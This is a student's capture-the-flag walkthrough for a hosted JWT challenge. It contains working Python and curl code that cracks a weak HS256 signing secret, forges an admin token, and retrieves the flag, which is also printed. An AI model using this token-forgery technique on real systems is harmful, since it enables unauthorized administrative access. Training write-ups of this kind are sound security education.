Sooraj Sudhakaran
Enrollment No : 260103003033
MSc DFIS - SEM I

Hosted challenge: https://gdg-ctf-jwt-jeopardy.onrender.com/

Story

You are interning on the security team at Globex Dynamics, a fictional company created for this exercise. On your first day, the portal provides you with a standard employee session token and a warning from a teammate:

> *“Heads up: someone captured a token just like yours during last month’s internal penetration test. IT says the tokens are safe. Prove them wrong!”*

Vulnerability

The application signs JSON Web Tokens (JWTs) using HS256 with a weak, dictionary-guessable secret. An attacker who recovers the secret offline can create a valid token with an elevated role and access the /admin endpoint.

Goal: Escalate the token role from employee to admin and retrieve the flag from the /admin endpoint.

Solution Overview

The challenge demonstrates JWT structure, symmetric signing with HS256, offline password guessing against a weak signing secret, and token forgery. Once the signing secret is recovered, the token can be recreated with the role claim changed to admin.

1. Obtain the employee token

Open the hosted challenge and obtain the employee session token issued by the application. The token used in this walkthrough is:

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiaW50ZXJuLnNhbSIsInJvbGUiOiJlbXBsb3llZSIsImlhdCI
6MTc5NDMwMTkxM30.dzCPTgp5hFJUxpLaWvfTy1N8O_dhrQJ6nBHEZDPDKI4
```

2. Decode the token using Python

A JWT consists of three Base64URL-encoded parts: header, payload, and signature. Decode the header and payload to inspect the claims. Decoding does not verify the signature.

```
import base64
import json

token =
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiaW50ZXJuLnNhbSIsInJvbGUiOiJlbXBsb3llZSIsImlhdCI
6MTc5NDMwMTkxM30.dzCPTgp5hFJUxpLaWvfTy1N8O_dhrQJ6nBHEZDPDKI4"
```

```
header, payload, signature = token.split(".")

def decode_part(part):
    part += "=" * (-len(part) % 4)
    return json.loads(base64.urlsafe_b64decode(part))

print("Header:", decode_part(header))
print("Payload:", decode_part(payload))
```

The decoded payload identifies the user as intern.sam and shows the role claim as employee. The header specifies HS256, a symmetric signing algorithm.

3. Confirm that the employee token cannot access /admin

Send a request to the hosted application using the employee token. Replace <employee_token> with the token obtained in Step 1.

```
curl -H "Authorization: Bearer <employee_token>" \
  https://gdg-ctf-jwt-jeopardy.onrender.com/admin
```

The application should deny access because the token has the employee role. Changing the role in the payload alone will not work: the signature will no longer match, and the application will reject the modified token.

4. Recover the weak HS256 signing secret

Because HS256 uses the same secret for signing and verification, a weak secret can be guessed offline. The following Python script tests a small candidate list by attempting to verify the original token with each candidate.

```
import jwt

token = "<employee_token_from_step_1>"

candidates = [
    "password",
    "globex",
    "globex123",
    "globex2024",
    "secret",
    "admin123",
    "company2024",
]

for candidate in candidates:
    try:
        jwt.decode(token, candidate, algorithms=["HS256"])
        print("Secret found:", candidate)
        break
    except jwt.InvalidTokenError:
        continue
```

Result: The challenge solution identifies the signing secret as **globex2024**.

The same offline guessing process can also be performed with tools such as Hashcat (JWT mode) or jwt_tool, using an appropriate wordlist.

5. Forge an administrator token

After recovering the signing secret, create a new token with the same user identity and the role claim set to admin. Sign it using HS256 and the recovered secret.

```
import jwt

forged_token = jwt.encode(
    {"user": "intern.sam", "role": "admin"},
    "globex2024",
    algorithm="HS256"
)

print(forged_token)
```

6. Access /admin with the forged token

Use the newly generated token in the Authorization header when requesting the protected endpoint.

```
curl -H "Authorization: Bearer <forged_token>" \
  https://gdg-ctf-jwt-jeopardy.onrender.com/admin
```

A successful request returns an administrator welcome message along with the challenge flag. The expected response is:

```
{
  "message": "Welcome, admin.",
  "flag": "GDG{jwt_s3cr3t_crack1ng_ftw}"
}
```

Flag

GDG{jwt_s3cr3t_crack1ng_ftw}